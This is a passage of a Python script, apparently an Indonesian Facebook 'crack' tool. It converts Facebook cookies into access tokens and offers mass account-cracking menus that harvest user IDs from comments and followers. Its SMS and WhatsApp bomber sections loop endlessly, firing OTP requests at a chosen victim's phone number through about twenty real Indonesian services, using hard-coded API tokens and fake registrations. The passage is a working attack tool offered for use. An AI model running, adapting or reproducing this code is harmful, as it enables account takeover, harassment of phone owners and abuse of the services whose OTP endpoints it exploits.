  266.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  267.                     print(" ╰─  Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  268.                 else:
  269.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  270.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  271.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  272.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  273.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  274.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  275.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  276.                         r.headers.pop('content-type');r.headers.pop('origin')
  277.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  278.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  279.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  280.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  281.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  282.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  283.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  284.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  285.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  286.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  287.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  288.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  289.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  290.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  291.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  292.                         r.headers.pop('content-type');r.headers.pop('origin')
  293.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  294.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  295.                         if 'Sukses!' in str(response6):
  296.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  297.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  298.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  299.                             print(f"\n ╰─  Token : {access_token}")
  300.                             tokenew = open(".token.txt","w").write(access_token)
  301.                             cook= open(".cok.txt","w").write(your_cookies)
  302.                             print("\n ╰─  Login Berhasil | python BrayennnFB.py");exit()
  303.             except Exception as e:
  304.                 print(" ╰─  Cookies Mokad Kontol")
  305.                 os.system('rm -rf .token.txt && rm -rf .cok.txt')
  306.                 print(e)
  307.                 time.sleep(3)
  308.                 back()
  309.     except:pass
  310.            
  311. #------------------[ BAGIAN-MENU ]----------------#
  312. def menu(my_name,my_id):
  313.     try:
  314.         token = open('.token.txt','r').read()
  315.         cok = open('.cok.txt','r').read()
  316.     except IOError:
  317.         print('[×] Cookies Kadaluarsa ')
  318.         time.sleep(5)
  319.         login_lagi334()
  320.     os.system('clear')
  321.     banner()
  322.     ip = requests.get("https://api.ipify.org").text
  323.     cetak(panel(f'[bold white][[bold green]•[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Ip  : [bold green]{ip}[/][/] ',width=90,title=f"[bold green]Infomasi",style=f"bold white"))
  324.     cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Publick [[bold green] ON [bold white]][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Massal [[bold green] ON [bold white]][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Cek Result [[bold green] ON [bold white]][/]\n[bold white][[bold green]00[/][bold white]][/] [bold red]Hapus Cookies [[bold green] ON [bold white]][/]',width=90,title=f"[bold green]List Menu",style=f"bold white"))
  325.     cetak(panel(f'[bold white]Ketik [bold green]"Lainnya"[bold white] Untuk Melihat Menu Tambahan | Ketik [bold green]"Bot"[bold white] Untuk Ke Menu Tambahan',width=90,title=f"[bold green]Informasi Crack",style=f"bold white"))
  326.     _____brayennn___xd____ = input(f' ╰─  Pilih Menu Crack : ')
  327.     if _____brayennn___xd____ in ['1','01']:
  328.         brayen_dump()
  329.     elif _____brayennn___xd____ in ['2','02']:
  330.         dump_massal()
  331.     elif _____brayennn___xd____ in ['3','03']:
  332.         result()
  333.     elif _____brayennn___xd____ in ['lainnya','Lainnya','LAINNYA']:
  334.         lainnya()
  335.     elif _____brayennn___xd____ in ['Bot','BOT','bot']:
  336.         bot()
  337.     elif _____brayennn___xd____ in ['0','00']:
  338.         os.system('rm -rf .token.txt')
  339.         os.system('rm -rf .cookie.txt')
  340.         print(f' ╰─  {m}Sukses Logout+Hapus Cookies{x}')
  341.         exit()
  342.     else:
  343.         print(' ╰─  Pilih Yang Bener Asu ')
  344.         back()
  345. def error():
  346.     print(f' ╰─  Maaf Fitur Ini Masih Di Perbaiki')
  347.     time.sleep(4)
  348.     back()
  349.  
  350. #----------------------[ MENU CRACK ]----------------------#
  351. def bot():
  352.     cetak(panel(f"[01] Cek Opsi Cp [[bold green] ON [bold white]]                  [03] Spam WhatsApp [[bold green] ON [bold white]]\n[02] Spam Sms [[bold green] ON [bold white]]                     [04] Kembali Ke Awal [[bold green] ON [bold white]]",width=90,title=f"[bold green]Menu Bot",padding=(0,8),style=f"bold white"))
  353.     bray = input(f' ╰─  Pilih Menu Crack : ')
  354.     if bray in(''):
  355.         print(' ╰─  Pilih Yang Bener Asu ');back()
  356.     if bray in('1','01'):
  357.         file_cp()
  358.     elif bray in('2','02'):
  359.         spam_sms()
  360.     elif bray in('3','03'):
  361.         spam_wa()
  362.     elif bray in('4','04'):
  363.         back()
  364.        
  365. #------------------[ DEFF SPAM SMS ]-------------------#
  366.  
  367. agent = random.choice(
  368.         [
  369.             "Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
  370.             "Mozilla/5.0 (Linux; Android 5.0; SAMSUNG SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36",
  371.             "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
  372.             "Dalvik/1.6.0 (Linux; U; Android 4.1.1; BroadSign Xpress 1.0.14 B- (720) Build/JRO03H)",
  373.             "Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; BroadSign Xpress 1.0.15-6 B- (720) Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30","Mozilla/5.0 (Linux; Android 5.1.1; A37fw Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36",
  374.             "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36"
  375.             "Mozilla/5.0 (Linux; Android 10; SM-A305F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
  376.     ]
  377. )
  378.  
  379. def process_data1():
  380.     sleep(0.10)
  381.    
  382. def spam_sms():
  383.     global nomor
  384.     cetak(panel(f'''   Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=90,padding=(0,8),style=f"bold white"))
  385.     nomor = input(f" ╰─  Input No Hp : +62").replace("+62","")
  386.     if nomor == "":
  387.         pass
  388.     else:
  389.         while True:
  390.             for _ in track(range(100), description=f' ╰─  Sedang Spam...'):process_data1()
  391.             sxp_sms()
  392.  
  393. class sxp_sms:
  394.  
  395.     def __init__(self):
  396.         self.req = requests.Session()
  397.         self.main()
  398.  
  399.     def sms_otp_1(self, no):
  400.         __req__ = self.req.post("https://service.mokapos.com/account/v1/verification/phone/send",
  401.             headers = {
  402.                   "accept": "application/json, text/plain, */*",
  403.                   "authorization": "undefined",
  404.                   "save-data": "on",
  405.                   "user-agent": agent,
  406.                   "content-type": "application/json;charset=UTF-8"
  407.                 },
  408.             json = {
  409.                  "phone_number": f"+62{no}"
  410.               }
  411.         ).text
  412.  
  413.     def sms_otp_2(self, no):
  414.         data = json.dumps({
  415.                     "mobile": f"0{no}",
  416.                     "noise": "1583590641573155574",
  417.                     "request_time": "158359064157312",
  418.                     "access_token": "11111"
  419.                    })
  420.         __req__ = self.req.post("https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code",
  421.             headers = {
  422.                     "accept": "text/html, application/xhtml+xml, application/json, */*",
  423.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  424.                     "content-length": "166",
  425.                     "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  426.                     "origin": "https://h5.rupiahcepatweb.com",
  427.                     "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723",
  428.                     "sec-fetch-dest": "empty",
  429.                     "sec-fetch-mode": "cors",
  430.                     "sec-fetch-site": "same-site",
  431.                     "user-agent": agent
  432.                   },
  433.             data = {
  434.                  "data": data
  435.                }
  436.         ).text
  437.  
  438.     def sms_otp_3(self, no):
  439.         __req__ = self.req.post("https://www.olx.co.id/api/auth/authenticate",
  440.             headers = {
  441.                     "accept": "*/*",
  442.                     "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=",
  443.                     "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063",
  444.                     "user-agent": agent,
  445.                     "content-type": "application/json"
  446.                   },
  447.             json = {
  448.                  "grantType": "retry",
  449.                  "method": "sms",
  450.                  "phone": no,
  451.                  "language": "id"
  452.                 }
  453.         ).text
  454.  
  455.     def sms_otp_4(self, no):
  456.         __req__ = self.req.post("https://www.alodokter.com/login-with-phone-number",
  457.             headers = {
  458.                     "user-agent": agent,
  459.                     "content-type": "application/json",
  460.                     "referer": "https://www.alodokter.com/login-alodokter",
  461.                     "accept": "application/json",
  462.                     "origin": "https://www.alodokter.com"
  463.                   },
  464.             json = {
  465.                  "user":{
  466.                       "phone": f"0{no}"
  467.                     }
  468.                 }
  469.         ).text
  470.  
  471.     def sms_otp_5(self, no):
  472.         __req__ = self.req.post("https://www.kelaspintar.id/user/otpverification",
  473.             headers = {
  474.                     "x-requested-with": "XMLHttpRequest",
  475.                     "user-agent": agent,
  476.                     "Referer": "https://www.kelaspintar.id/"
  477.                   },
  478.             data = {
  479.                  "user_mobile": no,
  480.                  "otp_type": "send_otp_reg",
  481.                  "mobile_code": "%2B62"
  482.                 }
  483.         ).text
  484.  
  485.     def sms_otp_6(self, no):
  486.         aink_sanz = random.choice(
  487.                         [
  488.                             "Hallo Mantan",
  489.                             "Hallo Bangsad",
  490.                             "Hallo Sayang",
  491.                             "Hallo Ripper",
  492.                             "Hallo Ngab"
  493.                         ]
  494.                     )
  495.         email = random.choice(
  496.                     [
  497.                         "nsnsmsmksksmsm@gmail.com",
  498.                         "lavon.lockman@gmail.com",
  499.                         "duane_mclaughlin38@gmail.com",
  500.                         "alfreda.lindgren@gmail.com",
  501.                         "leonardo_kuhlman@gmail.com",
  502.                         "lyric51@gmail.com",
  503.                         "devonte_littel@gmail.com",
  504.                         "newell.kuhic@gmail.com"
  505.                     ]
  506.                 )
  507.         pw = random.choice(
  508.                     [
  509.                         "mamsmms123",
  510.                         "Wadepak1037",
  511.                         "waifugw1011"
  512.                     ]
  513.                 )
  514.         birth_date = random.choice(
  515.                         [
  516.                             "13/09/1999",
  517.                             "04/02/2022",
  518.                             "05/02/2022",
  519.                             "05/02/2022",
  520.                             "06/02/2022",
  521.                             "10/02/2022"
  522.                         ]
  523.     )
  524.         __req__ = self.req.post("https://www.matahari.com/rest/V1/thorCustomers",
  525.             json = {
  526.                 "thor_customer":{
  527.                         "name": aink_sanz,
  528.                         "card_number": None,
  529.                         "email_address": email,
  530.                         "mobile_country_code": "+62",
  531.                         "gender_id": "1",
  532.                         "mobile_number": f"0{no}",
  533.                         "mro": "",
  534.                         "password": pw,
  535.                         "birth_date": birth_date
  536.                         }
  537.                 },
  538.             headers = {
  539.                     "Host": "www.matahari.com",
  540.                     "x-newrelic-id": "Vg4GVFVXDxAGVVlVBgcGVlY=",
  541.                     "origin": "https://www.matahari.com",
  542.                     "user-agent": agent,
  543.                     "content-type": "application/json",
  544.                     "accept": "*/*",
  545.                     "x-requested-with": "XMLHttpRequest",
  546.                     "referer": "https://www.matahari.com/customer/account/create/",
  547.                     "accept-encoding": "gzip, deflate, br",
  548.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  549.                 }
  550.  
  551.         ).text
  552.  
  553.     def sms_otp_7(self, no):
  554.         __req__ = self.req.post("https://api.duniagames.co.id/api/user/api/v2/user/send-otp",
  555.             headers = {
  556.                     "Host": "api.duniagames.co.id",
  557.                     "content-length": "32",
  558.                     "accept": "application/json, text/plain, */*",
  559.                     "x-device": "cc45ed83-73bd-4a98-83e3-874e8bc11a7f",
  560.                     "accept-language": "id",
  561.                     "user-agent": agent,
  562.                     "ciam-type": "FR",
  563.                     "content-type": "application/json",
  564.                     "origin": "https://duniagames.co.id",
  565.                     "sec-fetch-site": "same-site",
  566.                     "sec-fetch-mode": "cors",
  567.                     "sec-fetch-dest": "empty",
  568.                     "referer": "https://duniagames.co.id/",
  569.                     "accept-encoding": "gzip, deflate, br"
  570.                   },
  571.             json = {
  572.                  "phoneNumber": f"+62{no}"
  573.                 }
  574.         ).text
  575.  
  576.     def sms_otp_8(self, no):
  577.         __req__ = self.req.post("https://harvestcakes.com/register",
  578.             headers = {
  579.                     "user-agent": agent,
  580.                     "Referer": "https://harvestcakes.com/register"
  581.                   },
  582.             data = {
  583.                  "phone": f"0{no}",
  584.                  "url": ""
  585.                 }
  586.         ).text
  587.  
  588.     def sms_otp_9(self, no):
  589.         __req__ = self.req.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",
  590.             headers = {
  591.                     "Host": "identity-gateway.oyorooms.com",
  592.                     "consumer_host": "https://www.oyorooms.com",
  593.                     "accept-language": "id",
  594.                     "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=",
  595.                     "user-agent": agent,
  596.                     "Content-Type": "application/json",
  597.                     "accept": "*/*",
  598.                     "origin": "https://www.oyorooms.com",
  599.                     "referer": "https://www.oyorooms.com/login",
  600.                     "Accept-Encoding": "gzip, deflate, br"
  601.                   },
  602.             json = {
  603.                  "phone": f"0{no}",
  604.                  "country_code": "+62",
  605.                  "country_iso_code": "ID",
  606.                  "nod": "4",
  607.                  "send_otp": "true",
  608.                  "devise_role": "Consumer_Guest"
  609.                 }
  610.         ).text
  611.  
  612.     def sms_otp_10(self, no):
  613.         __req__ = self.req.post("https://crp-app.stamps.co.id/api/auth/validate-mobile-number",
  614.             json = {
  615.                 "mobile_number": f"0{no}",
  616.                 "token": "sI01tF5bOSYHabS7HaXiB1k3j0JxFxbcQ79Rd1HFBjKEKJqYAwSNMScsx9AEZq3O"
  617.                 },
  618.             headers = {
  619.                     "Host": "crp-app.stamps.co.id",
  620.                     "content-type": "application/json; charset=utf-8",
  621.                     "content-length": "106",
  622.                     "accept-encoding": "gzip",
  623.                     "User-Agent": agent
  624.             }
  625.         ).text
  626.  
  627.     def sms_otp_11(self, no):
  628.         __req__ = self.req.post("https://app-api.kredito.id/client/v1/common/verify-code/send",
  629.             headers = {
  630.                     "LPR-TIMESTAMP": "1603281035821",
  631.                     "Accept-Language": "id-ID",
  632.                     "LPR-BRAND": "Kredito",
  633.                     "LPR-PLATFORM": "android",
  634.                     "user-agent": agent,
  635.                     "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOi0xNjAzMjgxMDE3MjAzLCJ1dHlwZSI6ImFub24iLCJleHAiOjE2MDMyODQ2MTd9._HUnW7FQmMiDWvSejS0MBqMq95l2rk_6PuxDeXY5Oks",
  636.                     "LPR-SIGNATURE": "e15dbea8602409df32a2ed5a123dc244",
  637.                     "Content-Type": "application/json; charset=UTF-8",
  638.                     "Content-Length": "79"
  639.                    },
  640.             data = '{"event":"default_verification","mobilePhone":"%s","sender":"jatissms"}' % no
  641.         ).text
  642.  
  643.     def sms_otp_12(self, no):
  644.         __req__ = self.req.post("https://www.autofun.co.id:443/v2/captcha/sms",
  645.             headers = {
  646.                     "Host": "www.autofun.co.id",
  647.                     "Connection": "keep-alive",
  648.                     "Content-length": "84",
  649.                     "accept": "*/*",
  650.                     "user-agent": agent,
  651.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  652.                     "content-type": "application/json;charset=UTF-8",
  653.                     "Origin": "https://www.autofun.co.id",
  654.                     "X-Requested-With": "acr.browser.barebones",
  655.                     "Sec-Fetch-Site": "same-origin",
  656.                     "Sec-Fetch-Mode": "cors",
  657.                     "Sec-Fetch-Dest": "empty",
  658.                     "Referer": "https://www.autofun.co.id/mobil/datsun",
  659.                     "Accept-Encoding": "gzip, deflate"
  660.                 },
  661.             json = {
  662.                     "phoneNum": f"62{no}",
  663.                     "languageCode": "id-id",
  664.                     "countryCode": "id",
  665.                     "platform": 2
  666.             }
  667.         ).text
  668.  
  669.     def sms_otp_13(self, no):
  670.         __req__ = self.req.post("https://api.myfave.com/api/fave/v3/auth",
  671.             json = {
  672.                     "phone":"+62"+no
  673.                 },
  674.             headers = {
  675.                     "Host": "api.myfave.com",
  676.                     "Connection": "keep-alive",
  677.                     "x-user-agent": "Fave-PWA/v1.0.0",
  678.                     "Origin": "https://m.myfave.com",
  679.                     "user-agent": agent,
  680.                     "content-type": "application/json",
  681.                     "Accept": "*/*",
  682.                     "Referer": "https://m.myfave.com/jakarta/auth",
  683.                     "Accept-Encoding": "gzip, deflate, br",
  684.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  685.             }
  686.         ).text
  687.  
  688.     def sms_otp_14(self, no):
  689.         nickname = random.choice(
  690.                       [
  691.                         "fahmi",
  692.                         "xzc0der",
  693.                         "bed3bah",
  694.                         "xmanz"
  695.                       ]
  696.                     )
  697.         angka = random.randint(
  698.                     111,
  699.                     999
  700.                       )
  701.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  702.             headers = {
  703.                     "Host": "wong.kitabisa.com",
  704.                     "x-ktbs-platform-name": "pwa",
  705.                     "origin": "https://account.kitabisa.com",
  706.                     "x-ktbs-time": "1611020248",
  707.                     "user-agent": agent,
  708.                     "x-ktbs-api-version": "1.0.0",
  709.                     "accept": "application/json",
  710.                     "x-ktbs-client-name": "kanvas",
  711.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  712.                     "x-ktbs-client-version": "1.0.0",
  713.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  714.                     "version": "3.4.0",
  715.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  716.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  717.                   },
  718.             json = {
  719.                  "full_name": nickname+str(angka),
  720.                  "username": f"62{no}",
  721.                  "otp_type": "sms"
  722.                 }
  723.         ).text
  724.  
  725.     def main(self):
  726.         self.sms_otp_1(nomor)
  727.         self.sms_otp_2(nomor)
  728.         self.sms_otp_3(nomor)
  729.         self.sms_otp_4(nomor)
  730.         self.sms_otp_5(nomor)
  731.         self.sms_otp_6(nomor)
  732.         self.sms_otp_7(nomor)
  733.         self.sms_otp_8(nomor)
  734.         self.sms_otp_9(nomor)
  735.         self.sms_otp_10(nomor)
  736.         self.sms_otp_11(nomor)
  737.         self.sms_otp_12(nomor)
  738.         self.sms_otp_13(nomor)
  739.         self.sms_otp_14(nomor)
  740.         cetak(panel(f"Sukses Spam SMS Ke No : +62{nomor}",width=90,padding=(0,2),style=f"bold white"))
  741.  
  742. #------------------[ DEFF SPAM WA ]-------------------#
  743.    
  744. def spam_wa():
  745.     global nomor
  746.     cetak(panel(f'''   Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=90,padding=(0,8),style=f"bold white"))
  747.     nomor = input(f" ╰─  Input No Hp : +62").replace("+62","")
  748.     if nomor == "":
  749.         pass
  750.     else:
  751.         while True:
  752.             for _ in track(range(100), description=f' ╰─  Sedang Spam...'):process_data1()
  753.             sxp_wa()
  754.            
  755. class sxp_wa:
  756.  
  757.     def __init__(self):
  758.         self.req = requests.Session()
  759.         self.main()
  760.  
  761.     def wa_otp_1(self, no):
  762.         nickname = random.choice(
  763.                       [
  764.                         "fahmi",
  765.                         "xzc0der",
  766.                         "bed3bah",
  767.                         "xmanz"
  768.                       ]
  769.                      )
  770.         angka = random.randint(
  771.                     111,
  772.                     999
  773.                        )
  774.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  775.             headers = {
  776.                     "Host": "wong.kitabisa.com",
  777.                     "x-ktbs-platform-name": "pwa",
  778.                     "origin": "https://account.kitabisa.com",
  779.                     "x-ktbs-time": "1611020248",
  780.                     "user-agent": agent,
  781.                     "x-ktbs-api-version": "1.0.0",
  782.                     "accept": "application/json",
  783.                     "x-ktbs-client-name": "kanvas",
  784.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  785.                     "x-ktbs-client-version": "1.0.0",
  786.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  787.                     "version": "3.4.0",
  788.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  789.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  790.                    },
  791.             json = {
  792.                  "full_name": nickname+str(angka),
  793.                  "username": f"0{no}",
  794.                  "otp_type": "whatsapp"
  795.                 }
  796.         ).text
  797.  
  798.     def wa_otp_2(self, no):
  799.         __req__ = self.req.get(
  800.             f"https://m.redbus.id/api/getOtp?number={no}&cc=62&whatsAppOpted=true"
  801.         ).text
  802.  
  803.     def wa_otp_3(self, no):
  804.         __req__ = self.req.post("https://api.bukuwarung.com/api/v1/auth/otp/send",
  805.             headers = {
  806.                     "Accept": "application/json",
  807.                     "X-APP-VERSION-NAME": "3.4.0",
  808.                     "X-APP-VERSION-CODE": "3399",
  809.                     "Content-Type": "application/json; charset=UTF-8",
  810.                     "Host": "api.bukuwarung.com",
  811.                     "Connection": "Keep-Alive",
  812.                     "Accept-Encoding": "gzip",
  813.                     "User-Agent": agent
  814.                    },
  815.             json = {
  816.                  "action": "LOGIN_OTP",
  817.                  "countryCode": "62",
  818.                  "deviceId": "00000177-142d-f1a2-bac4-57a9039fdc4d",
  819.                  "method": "WA",
  820.                  "phone": no
  821.                 }
  822.         ).text
  823.  
  824.     def wa_otp_4(self, no):
  825.         __req__ = self.req.post("https://evermos.com/api/client/request-code",
  826.             headers = {
  827.                     "user-agent": agent
  828.                   },
  829.             data = {
  830.                  "telephone": f"62{no}",
  831.                  "type": 0
  832.                 }
  833.         ).text
  834.  
  835.     def wa_otp_5(self, no):
  836.         __req__ = self.req.post("https://wapi.ruparupa.com/auth/generate-otp",
  837.             headers = {
  838.                     "Host": "wapi.ruparupa.com",
  839.                     "Connection": "keep-alive",
  840.                     "Authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiOGZlY2VjZmYtZTQ1Zi00MTVmLWI2M2UtMmJiMzUyZmQ2NzhkIiwiaWF0IjoxNTkzMDIyNDkyLCJpc3MiOiJ3YXBpLnJ1cGFydXBhIn0.fETKXQ0KyZdksWWsjkRpjiKLrJtZWmtogKyePycoF0E",
  841.                     "Accept": "application/json",
  842.                     "Content-Type": "application/json",
  843.                     "X-Company-Name": "odi",
  844.                     "user-agent": agent,
  845.                     "user-platform": "mobile",
  846.                     "X-Frontend-Type": "mobile",
  847.                     "Origin": "https://m.ruparupa.com",
  848.                     "Referer": "https://m.ruparupa.com/verification?page=otp-choices",
  849.                     "Accept-Encoding": "gzip, deflate, br",
  850.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  851.                    },
  852.             json = {
  853.                  "phone": f"0{no}",
  854.                  "action": "register",
  855.                  "channel": "chat",
  856.                  "email": "",
  857.                  "customer_id": "0",
  858.                  "is_resend": 0
  859.                 }
  860.         ).text
  861.  
  862.     def wa_otp_6(self, no):
  863.         headers = {
  864.                 "Connection": "keep-alive",
  865.                 "Accept": "application/json, text/javascript, */*; q=0.01",
  866.                 "Origin": "https://accounts.tokopedia.com",
  867.                 "X-Requested-With": "XMLHttpRequest",
  868.                 "user-agent": agent,
  869.                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  870.                 "Accept-Encoding": "gzip, deflate",
  871.                }
  872.         site = self.req.get("https://accounts.tokopedia.com/otp/c/page?otp_type=116&msisdn="+ no +"&ld=https%3A%2F%2Faccounts.tokopedia.com%2Fregister%3Ftype%3Dphone%26phone%3D{}%26status%3DeyJrIjp0cnVlLCJtIjp0cnVlLCJzIjpmYWxzZSwiYm90IjpmYWxzZSwiZ2MiOmZhbHNlfQ%253D%253D", headers = headers).text
  873.         search = re.search(r'\<input\ id\=\"Token\"\ value\=\"(.*?)\"\ type\=\"hidden\"\>', site).group(1)
  874.         data = {
  875.              "otp_type": "116",
  876.              "msisdn": no,
  877.              "tk": search,
  878.              "email": "",
  879.              "original_param": "",
  880.              "user_id": "",
  881.              "signature": "",
  882.              "number_otp_digit": "6",
  883.             }
  884.         __req__ = self.req.post(
  885.                 "https://accounts.tokopedia.com/otp/c/ajax/request-wa", headers = headers, data = data
  886.        ).text
  887.  
  888.     def main(self):
  889.         self.wa_otp_1(nomor)
  890.         self.wa_otp_2(nomor)
  891.         self.wa_otp_3(nomor)
  892.         self.wa_otp_4(nomor)
  893.         self.wa_otp_5(nomor)
  894.         self.wa_otp_6(nomor)
  895.         cetak(panel(f" Sukses Spam WA Ke No : {K2}+62{nomor}",width=90,padding=(0,2),style=f"bold white"))
  896.        
  897. #----------------------[ MENU CRACK V2 ]----------------------#
  898. def lainnya():
  899.     cetak(panel(f"[01] Crack Username [[bold green] ON [bold white]]                  [03] Crack File [[bold green] ON [bold white]]\n[02] Crack Followers [[bold green] ON [bold white]]                 [04] Kembali Ke Awal [[bold green] ON [bold white]]",width=90,title=f"[bold green]Menu Crack",padding=(0,8),style=f"bold white"))
  900.     bray = input(f' ╰─  Pilih Menu Crack : ')
  901.     if bray in(''):
  902.         print(' ╰─  Pilih Yang Bener Asu ');back()
  903.     if bray in('1','01'):
  904.         crack_nama()
  905.     elif bray in('2','02'):
  906.         pengikut()
  907.     elif bray in('3','03'):
  908.         crack_file()
  909.     elif bray in('4','04'):
  910.         back()
  911.  
  912. ###----------[ CRACK DARI KOMEN ]---------- ###
  913. def komen():
  914.     cetak(panel(f"Pastikan Akun Target Yang Di Pilih Bersifat Publik Jangan Private",width=90,padding=(0,4),style=f"bold white"))
  915.     ide = input(f' ╰─  Masukan Id Postingan : ')
  916.     url = 'https://mbasic.facebook.com/'+ide
  917.     try:get_komen(url)
  918.     except KeyboardInterrupt:setting()
  919.     if len(dump)==0:
  920.         print(f" ╰─  Gagal Dump Id, Kemungkinan Akun Private")
  921.         time.sleep(3);exit()
  922.     setting()
  923.  
  924. def get_komen(url):
  925.     data = parser(ses.get(url).text,"html.parser")
  926.     for isi in data.find_all("h3"):
  927.         for ids in isi.find_all("a",href=True):
  928.             if "profile.php" in ids.get("href"):id = ids.get("href").split('=')[1].replace("&refid","")
  929.             else:id = re.findall("/(.*?)?__",ids["href"])[0]. replace("?refid=52&","")
  930.             nama = ids.text
  931.             if id+"|"+nama in dump:pass
  932.             else:id.append(id+"|"+nama)
  933.             sys.stdout.write(f"\r ╰─  Mengumpulkan {len(id)} Idz...");sys.stdout.flush()
  934.     for z in data.find_all("a",href=True):
  935.         if "Lihat komentar sebelumnya…" in z.text:
  936.             try:get_komen("https://mbasic.facebook.com"+z["href"])
  937.             except:pass            
  938.                
  939. ###----------[ DUMP PENGIKUT ]---------- ###
  940. def pengikut():
  941.     try:
  942.         token = open('.token.txt','r').read()
  943.         cok = open('.cok.txt','r').read()
  944.     except IOError:
  945.         exit()
  946.     ses = requests.Session()
  947.     cetak(panel(f"Ketik 'Me' Jika Ingin Crack Dari Total Followers Anda Sendiri",width=90,padding=(0,7),style=f"bold white"))
  948.     akun = console.input(f' ╰─  Masukan Id Target : ')
  949.     try:
